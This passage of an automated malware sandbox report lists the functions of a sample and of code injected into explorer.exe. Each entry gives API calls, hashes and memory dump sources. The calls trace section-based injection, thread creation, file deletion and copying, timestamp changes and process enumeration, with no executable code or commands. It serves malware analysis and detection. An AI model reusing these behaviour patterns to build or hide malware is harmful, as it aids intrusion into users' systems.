Function 00401CFE Relevance: 1.6, APIs: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE ref: 00401D2A

Memory Dump Source

Source File: 00000000.00000002.1828756309.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Qi4Mj8hG3t.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 535ab7110f43846469d138036ff09167de867c0362d30e37a302cd9859231c72
Instruction ID: 9bd64a55ef0e6d05d786bfe3ad9f53275417bf4e045850c8d3495e84d7f2a4cb
Opcode Fuzzy Hash: 535ab7110f43846469d138036ff09167de867c0362d30e37a302cd9859231c72
Instruction Fuzzy Hash: BB21B323501D429FCB02FF74E190883F724BEDF35172486D6D4D269655DA3684738783

Function 00401D16 Relevance: 1.6, APIs: 1, Instructions: 88memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE ref: 00401D2A

Memory Dump Source

Source File: 00000000.00000002.1828756309.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Qi4Mj8hG3t.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 103d2295f5f21c8b5108fe1742efc3207eca7693211c4e3342358da7015b4894
Instruction ID: 77190e0f23bb221504da128019f00248055c08475e322dc54891d85dc81afa78
Opcode Fuzzy Hash: 103d2295f5f21c8b5108fe1742efc3207eca7693211c4e3342358da7015b4894
Instruction Fuzzy Hash: F021A223611D425FCB03FF74E194883F724BA9F3517288AD5D4E269668DA268433CB82

Function 0041D520 Relevance: 1.5, APIs: 1, Instructions: 9libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(00424ED0,0041D945), ref: 0041D550

Memory Dump Source

Source File: 00000000.00000002.1828782266.000000000040F000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40f000_Qi4Mj8hG3t.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 40dcabdc535276487fd4439480a856f59d3f389268b30cd9a6c1a4ffe39e98f0
Instruction ID: a0e2f26091b3fc8c26fd1af7b13f2790643f76c88d5845c285f01d34eb581d14
Opcode Fuzzy Hash: 40dcabdc535276487fd4439480a856f59d3f389268b30cd9a6c1a4ffe39e98f0
Instruction Fuzzy Hash: E5D0C924669380CAEB21CF10FA097003F69F790708BCA50B89060CA233C3F8006ACB1D

Function 0040193E Relevance: 1.3, APIs: 1, Instructions: 63sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388,0000006E), ref: 00401999

Part of subcall function 00401553: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401553: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000000.00000002.1828756309.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Qi4Mj8hG3t.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 71f746a8505fe108ed8da4cdd9973d259565c9a68103dfaed9332816d2b6fe75
Instruction ID: 4db8ba0b08380255fc5aa34ea3e13561f838480f888933e927f1079a64c57490
Opcode Fuzzy Hash: 71f746a8505fe108ed8da4cdd9973d259565c9a68103dfaed9332816d2b6fe75
Instruction Fuzzy Hash: 9A11CEF120C208FBEB006A959D62E7A3268AB40714F304137BA43790F1D57E8923F76B

Function 0040194A Relevance: 1.3, APIs: 1, Instructions: 57sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388,0000006E), ref: 00401999

Part of subcall function 00401553: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401553: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000000.00000002.1828756309.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Qi4Mj8hG3t.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: da38201a32f90b98934b488a65b371e434f1df0c2a04d29242935d2455de016b
Instruction ID: 0371ecd990254dd767a604aa567081474727263e4e3774a05daf7e54a603023c
Opcode Fuzzy Hash: da38201a32f90b98934b488a65b371e434f1df0c2a04d29242935d2455de016b
Instruction Fuzzy Hash: A901A1B120C204EBDB009A95DD62E7A3364AB40314F30453BBA437A1F1C67D9913E72B

Function 0040195C Relevance: 1.3, APIs: 1, Instructions: 52sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388,0000006E), ref: 00401999

Part of subcall function 00401553: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401553: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000000.00000002.1828756309.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Qi4Mj8hG3t.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 5e3dbe5dd20a4fb5b92f76c9b13fda5f390ba4e8200e1751a23b03b4d52e4fb4
Instruction ID: 3b2e7dc224df146109f963d95c0ead7a9e1b698bafe8296883a7ac19869aede1
Opcode Fuzzy Hash: 5e3dbe5dd20a4fb5b92f76c9b13fda5f390ba4e8200e1751a23b03b4d52e4fb4
Instruction Fuzzy Hash: BA0171B5208204EADB006AD5DD71E7A3269AB44314F304537BA43791F1D57D8912F72B

Function 00401973 Relevance: 1.3, APIs: 1, Instructions: 51sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388,0000006E), ref: 00401999

Part of subcall function 00401553: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401553: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000000.00000002.1828756309.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Qi4Mj8hG3t.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: acb1fae293eb73a10805bbdd55e216ebbc49928181db8483aeacc3243d44ee5b
Instruction ID: 4b03b50232763afd30ab0c608f125a1a80ed78bb00471cf4ed55e3bed959d7b6
Opcode Fuzzy Hash: acb1fae293eb73a10805bbdd55e216ebbc49928181db8483aeacc3243d44ee5b
Instruction Fuzzy Hash: F80184B5208204EBDB006AD5DD71EBA3269AB44354F304537BA43790F1C57D8912F72B

Function 00401964 Relevance: 1.3, APIs: 1, Instructions: 50sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388,0000006E), ref: 00401999

Part of subcall function 00401553: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401553: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000000.00000002.1828756309.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Qi4Mj8hG3t.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: e5353c19dd0b10c2d892503bd00f36fba5e3f507ee708bcba0cfbdc82fbef293
Instruction ID: f592bab324d3cd5d6286c78059ef0a1e8702b22de7bd53a4ec4d5e19e7ef6e8c
Opcode Fuzzy Hash: e5353c19dd0b10c2d892503bd00f36fba5e3f507ee708bcba0cfbdc82fbef293
Instruction Fuzzy Hash: 0D0184B5208204EBDB006AC5DD62EBA3265AB44314F204537FA43791F1C57D8912F72B

Function 025D1EDE Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 025D1F2F

Memory Dump Source

Source File: 00000000.00000002.1830577442.00000000025CF000.00000040.00000020.00020000.00000000.sdmp, Offset: 025CF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_25cf000_Qi4Mj8hG3t.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 081e48b25daa177cb56d45073fd48b49260db9e31f62c1499b2a623f246ebf19
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: E9112B79A00208EFDB01DF98C985E98BBF5AF08350F058094FA489B361D371EA50DF94

Function 00401987 Relevance: 1.3, APIs: 1, Instructions: 46sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388,0000006E), ref: 00401999

Part of subcall function 00401553: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401553: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000000.00000002.1828756309.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Qi4Mj8hG3t.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 74fb996ba95ec06bb2abe22af5600ab9efc13f551b73dbf86f34961914988ff4
Instruction ID: 68c2b1bb8267a16b47d2b790190fa602822f098e0b694be4ddc2e306b3be1968
Opcode Fuzzy Hash: 74fb996ba95ec06bb2abe22af5600ab9efc13f551b73dbf86f34961914988ff4
Instruction Fuzzy Hash: 2AF086B5208204FADB006BD59D61EBA3768AB44354F204137BA13790F1C57D8912F72B

Function 0040197A Relevance: 1.3, APIs: 1, Instructions: 45sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388,0000006E), ref: 00401999

Part of subcall function 00401553: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401553: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000000.00000002.1828756309.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Qi4Mj8hG3t.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: f19d6598d7b3f8bbc47500c90c3d0bc6a0ede41a7b6f28d3ccddc132527cc834
Instruction ID: 49220a4dcaca44086484813bdb512237367292e15b320859d1a96440f4f24ef4
Opcode Fuzzy Hash: f19d6598d7b3f8bbc47500c90c3d0bc6a0ede41a7b6f28d3ccddc132527cc834
Instruction Fuzzy Hash: 7801A7B1208244FBDB016BD19D62EB93768AB05354F204537FA53790F2C67D8912E72B

Non-executed Functions

Function 0041D740 Relevance: 31.7, APIs: 15, Strings: 3, Instructions: 215windowtimeCOMMON

Download Yara Rule

APIs

InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0041D7DC
SetActiveWindow.USER32(00000000), ref: 0041D7E3
CreateIcon.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041D7F0
SetKeyboardState.USER32(00000000), ref: 0041D7F7
GetStdHandle.KERNEL32(00000000), ref: 0041D805
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0041D80C
AddAtomW.KERNEL32(00000000), ref: 0041D813
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 0041D81B
GetCharWidthW.GDI32(00000000,00000000,00000000,00000000), ref: 0041D82E
FatalAppExitA.KERNEL32(00000000,00000000), ref: 0041D83F
GetUserDefaultLCID.KERNEL32 ref: 0041D87B
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041D889
GetTimeZoneInformation.KERNEL32(00000000), ref: 0041D890
MoveFileExA.KERNEL32(00420C30,00420C20,00000000), ref: 0041D8A1
GetLocaleInfoA.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041D8AB

Part of subcall function 0041CC50: LocalAlloc.KERNEL32(00000000,022C7FB4,0041D8F0), ref: 0041CC58

Strings

/t, xrefs: 0041D755
tl_, xrefs: 0041D7C1
o[@, xrefs: 0041D7A8

Memory Dump Source

Source File: 00000000.00000002.1828782266.000000000040F000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40f000_Qi4Mj8hG3t.jbxd

Similarity

API ID: Char$ActiveAllocAtomByteCreateCurrentDefaultDirectoryEnvironmentExchangeExitFatalFileFreeHandleIconInfoInformationInterlockedKeyboardLocalLocaleMoveMultiStateStringsTimeUserWideWidthWindowZone
String ID: /t$o[@$tl_
API String ID: 3561384033-3634920357
Opcode ID: aa6ef055bebf60c1845bfe76d87d358f85cd57b0cbba025b9639cc9f79b5cd90
Instruction ID: 8514119693cf065204a7e9796b6eeace996b80cc16f33bae765e4b62243eb72b
Opcode Fuzzy Hash: aa6ef055bebf60c1845bfe76d87d358f85cd57b0cbba025b9639cc9f79b5cd90
Instruction Fuzzy Hash: 7F51E9F1D44310AFD310ABB5EDC9AABBB6CEB4C355F10483AF54552152CA388C858FB9

Function 0041D560 Relevance: 4.5, APIs: 3, Instructions: 42COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000000), ref: 0041D589
GetAce.ADVAPI32(?,00000000,00000000), ref: 0041D5B3
GetLocaleInfoA.KERNEL32(00000000,00000000,?,00000000,00000000), ref: 0041D5ED

Memory Dump Source

Source File: 00000000.00000002.1828782266.000000000040F000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40f000_Qi4Mj8hG3t.jbxd

Similarity

API ID: FileInfoLocaleModuleName
String ID:
API String ID: 3450822615-0
Opcode ID: f9166dc903e28250986c59ace9a31d147099614296784564ff03c099ebb82c00
Instruction ID: f0f8e5db37b50d1d97fa2259c3eb4cbbe46a2955217ca2896c6b6a6acf140aac
Opcode Fuzzy Hash: f9166dc903e28250986c59ace9a31d147099614296784564ff03c099ebb82c00
Instruction Fuzzy Hash: EF012271B04300EBE330DB50ED06BA977E4FB08706F40443AEA94DA2E0CAB45415CF69

Function 0245092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

., xrefs: 0245095F
GetProcAddress., xrefs: 024509DC, 024509DF, 024509E4
l, xrefs: 02450966

Memory Dump Source

Source File: 00000000.00000002.1829890745.0000000002450000.00000040.00001000.00020000.00000000.sdmp, Offset: 02450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2450000_Qi4Mj8hG3t.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: ef04b08f49b47f73ac197ea453be697af2381266527df5cb0f9494033dee462b
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: AF3139BA900619DFDB10CF99C880AAEBBF9FF48324F15504AD881A7315D771EA45CFA4

Function 0041D6C0 Relevance: 3.0, APIs: 2, Instructions: 36pipetimeCOMMON

Download Yara Rule

APIs

Part of subcall function 0041D610: RtlAllocateHeap.NTDLL(00000000,00000000,00000000), ref: 0041D627
Part of subcall function 0041D610: LoadLibraryA.KERNEL32(00000000,?,?,?,?,?,0041D94F), ref: 0041D62F

CreateNamedPipeA.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041D6FF
SystemTimeToFileTime.KERNEL32 ref: 0041D71F

Memory Dump Source

Source File: 00000000.00000002.1828782266.000000000040F000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40f000_Qi4Mj8hG3t.jbxd

Similarity

API ID: Time$AllocateCreateFileHeapLibraryLoadNamedPipeSystem
String ID:
API String ID: 3791924093-0
Opcode ID: 9d3325a1bc1fe641eede449a7c7b3cc4eeb17aaa86d667392d6ff89e3d51ed93
Instruction ID: 7d6c2012e496a03f119ebb48baf7c3e9073562171f9cc45594f686545b34bf87
Opcode Fuzzy Hash: 9d3325a1bc1fe641eede449a7c7b3cc4eeb17aaa86d667392d6ff89e3d51ed93
Instruction Fuzzy Hash: C9F054B16082019FC714DF56F985B5BB7F8FB9C305F40442EF14982251DB34A589CFA6

Function 025D1AFC Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1830577442.00000000025CF000.00000040.00000020.00020000.00000000.sdmp, Offset: 025CF000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_25cf000_Qi4Mj8hG3t.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: baa546a71044b560848721f08ca031f271b8bf968d890acf5ee78e55c17f1bce
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 5711CE72340601AFE710CF5DDC80EA273EAFB88364B29C065ED08CB311E676E802CB60

Function 02450D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1829890745.0000000002450000.00000040.00001000.00020000.00000000.sdmp, Offset: 02450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2450000_Qi4Mj8hG3t.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: 97c5f606633d988940d90d4e470841c09bb514e6dbc887a5061ceb0af5f7922e
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: BF01F27AA106108FDF21CF20C904BAB33E5EB8A306F1550A6DD4A97382E370A8458F80

Function 004023E5 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1828756309.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Qi4Mj8hG3t.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0f638128aba8f2e57abeaf16cd5152cf31c34a5a8aefa37a689e9950b3c5785
Instruction ID: d35cd02017a8908298582cacd0956aff43537afd2df8e264233619bb44fb754d
Opcode Fuzzy Hash: c0f638128aba8f2e57abeaf16cd5152cf31c34a5a8aefa37a689e9950b3c5785
Instruction Fuzzy Hash: 82C08C72D960008AE65BC6908A87644BB33F003830B341F2DC5018F126D272C2178220

Function 004026A0 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1828756309.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Qi4Mj8hG3t.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43de6de374997940977aed32f8962cbc5b01e7d76103009d4fd772cc687ca080
Instruction ID: b8708e0fd601c17419c4bee628408aeaf70cc106fe2e9d70b960fe5b7e9fb35e
Opcode Fuzzy Hash: 43de6de374997940977aed32f8962cbc5b01e7d76103009d4fd772cc687ca080
Instruction Fuzzy Hash: 0DC02B7308020940C754CE701A0010CF2D09555208F31FD234005FF182D260F1C755C2

Analysis Process: explorer.exePID: 2580, Parent PID: 6432COMMON

Execution Graph

Execution Coverage:	42.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	8%
Total number of Nodes:	200
Total number of Limit Nodes:	18

Executed Functions

Function 07DC35B8 Relevance: 1.6, APIs: 1, Instructions: 72COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32 ref: 07DC360C

Memory Dump Source

Source File: 00000001.00000002.2959280811.0000000007DC1000.00000020.80000000.00040000.00000000.sdmp, Offset: 07DC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7dc1000_explorer.jbxd

Yara matches

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: fd6447a474a0c6c4e583e87f53b4852dd761150ae4ae7b776ee82d00e2f1a7d0
Instruction ID: 7d27cf97cfdc44cc93b4331b4e34c9a0193e40733ed8736b56d9bc0c7adcc859
Opcode Fuzzy Hash: fd6447a474a0c6c4e583e87f53b4852dd761150ae4ae7b776ee82d00e2f1a7d0
Instruction Fuzzy Hash: 0C113A70718B4D8FCB90EF68901835EB6D2EBDC201F500AAEA84EC7254DA7499458782

Function 07DC1AF8 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 299
threadmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateHeap.NTDLL ref: 07DC1C0F
CreateThread.KERNEL32 ref: 07DC1DCA
FindCloseChangeNotification.KERNEL32 ref: 07DC1DD3
CreateThread.KERNEL32 ref: 07DC1DF1
FindCloseChangeNotification.KERNEL32 ref: 07DC1DFA

Strings

iP+, xrefs: 07DC1D5A

Memory Dump Source

Source File: 00000001.00000002.2959280811.0000000007DC1000.00000020.80000000.00040000.00000000.sdmp, Offset: 07DC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7dc1000_explorer.jbxd

Yara matches

Similarity

API ID: Create$ChangeCloseFindNotificationThread$Heap
String ID: iP+
API String ID: 2512633107-51890417
Opcode ID: cf2ce30ea219674eb12de4e5a02e896239f1aaebb65970fad36a83100eea2f65
Instruction ID: 42d642726ea8c587a94099f4aae601317bdf668517e2b4b10eece685ca550b6b
Opcode Fuzzy Hash: cf2ce30ea219674eb12de4e5a02e896239f1aaebb65970fad36a83100eea2f65
Instruction Fuzzy Hash: 8C91D2B0618E0A8FCF58EF28D8816A5B7D6FB98300B58017DDC8ECB157EA31D541DB96

Function 07DC2434 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 506
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNEL32 ref: 07DC279B
DeleteFileW.KERNEL32 ref: 07DC27A8
SleepEx.KERNEL32 ref: 07DC2809
RtlExitUserThread.NTDLL ref: 07DC2811

Strings

|:|, xrefs: 07DC2554

Memory Dump Source

Source File: 00000001.00000002.2959280811.0000000007DC1000.00000020.80000000.00040000.00000000.sdmp, Offset: 07DC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7dc1000_explorer.jbxd

Yara matches

Similarity

API ID: DeleteFile$ExitSleepThreadUser
String ID: |:|
API String ID: 2796381497-3736120136
Opcode ID: af6f0522112b9facc9e0093e301f45ffe89ead3b77408e0bdccb132fd8c44f9d
Instruction ID: 919f5a471bc6b9c895772f1d6347ea4497011156cd94440e38eb76fa41c586ce
Opcode Fuzzy Hash: af6f0522112b9facc9e0093e301f45ffe89ead3b77408e0bdccb132fd8c44f9d
Instruction Fuzzy Hash: 0AE1B770718F4A8FDB59EB6894593AAB6D1FB98311F10462ED49FC3280DF34E9028786

Function 08822434 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 506
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNEL32 ref: 0882279B
DeleteFileW.KERNEL32 ref: 088227A8
SleepEx.KERNEL32 ref: 08822809
RtlExitUserThread.NTDLL ref: 08822811

Strings

|:|, xrefs: 08822554

Memory Dump Source

Source File: 00000001.00000002.2960082267.0000000008821000.00000020.80000000.00040000.00000000.sdmp, Offset: 08821000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8821000_explorer.jbxd

Yara matches

Similarity

API ID: DeleteFile$ExitSleepThreadUser
String ID: |:|
API String ID: 2796381497-3736120136
Opcode ID: af6f0522112b9facc9e0093e301f45ffe89ead3b77408e0bdccb132fd8c44f9d
Instruction ID: aa6fdcfd426567e6065b71f6fd2b226afd39611251b8ed2745272cfb06cafc35
Opcode Fuzzy Hash: af6f0522112b9facc9e0093e301f45ffe89ead3b77408e0bdccb132fd8c44f9d
Instruction Fuzzy Hash: 3CE19430718F58CFDB59AB6C84587AAB6D1FB98312F10462ED49FC3291DF34E9428786

Function 07DC202C Relevance: 7.7, APIs: 5, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNEL32 ref: 07DC20B6
CopyFileW.KERNEL32 ref: 07DC20C5
DeleteFileW.KERNEL32 ref: 07DC20D6
DeleteFileW.KERNEL32 ref: 07DC2121

Part of subcall function 07DC4A48: SetFileAttributesW.KERNEL32 ref: 07DC4A97
Part of subcall function 07DC4A48: CreateFileW.KERNEL32 ref: 07DC4AC1
Part of subcall function 07DC4A48: SetFileTime.KERNEL32 ref: 07DC4AEC

CreateFileW.KERNEL32 ref: 07DC21AD

Memory Dump Source

Source File: 00000001.00000002.2959280811.0000000007DC1000.00000020.80000000.00040000.00000000.sdmp, Offset: 07DC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7dc1000_explorer.jbxd

Yara matches

Similarity

API ID: File$Delete$Create$AttributesCopyTime
String ID:
API String ID: 642576546-0
Opcode ID: 7f063b496fdb5386f4a3bc3b38053528e15544823e1f82b1c44872616a46c509
Instruction ID: 1ca7ceef873cf56b4046e69ba29a9e9e381890f6494679f154d76fe3592700ea
Opcode Fuzzy Hash: 7f063b496fdb5386f4a3bc3b38053528e15544823e1f82b1c44872616a46c509
Instruction Fuzzy Hash: 68415E70718A4D8FDBA8EF6CA85836D75D2EBC8311F20016EA50FC7385DE349D068796

Function 07DC3D1C Relevance: 7.6, APIs: 5, Instructions: 72
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 07DC3D3E
Process32First.KERNEL32 ref: 07DC3D5D
Process32Next.KERNEL32 ref: 07DC3DA8
FindCloseChangeNotification.KERNEL32 ref: 07DC3DB5
SleepEx.KERNEL32 ref: 07DC3DC0

Memory Dump Source

Source File: 00000001.00000002.2959280811.0000000007DC1000.00000020.80000000.00040000.00000000.sdmp, Offset: 07DC1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7dc1000_explorer.jbxd

Yara matches

Similarity

API ID: Process32$ChangeCloseCreateFindFirstNextNotificationSleepSnapshotToolhelp32
String ID:
API String ID: 14014868-0
Opcode ID: 39ba45db73bafd81c11e774f87e0f4933b4a983672c3a76259ecfbbd9f04089f
Instruction ID: faae338e9dfda87454abd64ab23909d6d70d42bac8a43a0ad4436b479dcc3cb1
Opcode Fuzzy Hash: 39ba45db73bafd81c11e774f87e0f4933b4a983672c3a76259ecfbbd9f04089f
Instruction Fuzzy Hash: 8B21B470214A0A8FDB58EF64C0987AAB2E2FB88315F184A7ED44FDB189DB3495458762

Function 08821AF8 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 299
threadmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateHeap.NTDLL ref: 08821C0F
CreateThread.KERNEL32 ref: 08821DCA
CreateThread.KERNEL32 ref: 08821DF1

Strings

iP+, xrefs: 08821D5A

Memory Dump Source

Source File: 00000001.00000002.2960082267.0000000008821000.00000020.80000000.00040000.00000000.sdmp, Offset: 08821000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8821000_explorer.jbxd

Yara matches

Similarity

API ID: Create$Thread$Heap
String ID: iP+
API String ID: 1054751041-51890417
Opcode ID: cf2ce30ea219674eb12de4e5a02e896239f1aaebb65970fad36a83100eea2f65
Instruction ID: c73f8c0d525733d19083476a386c6e434dd7332ee817087d3165e795ef3a7455
Opcode Fuzzy Hash: cf2ce30ea219674eb12de4e5a02e896239f1aaebb65970fad36a83100eea2f65
Instruction Fuzzy Hash: 0A91C738618A08CFCF54EF18DC866A573D6FB94301B58017EDC4ECB256DA30E581CB96

Function 07DC4A48 Relevance: 4.6, APIs: 3, Instructions: 84
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFileAttributesW.KERNEL32 ref: 07DC4A97
CreateFileW.KERNEL32 ref: 07DC4AC1
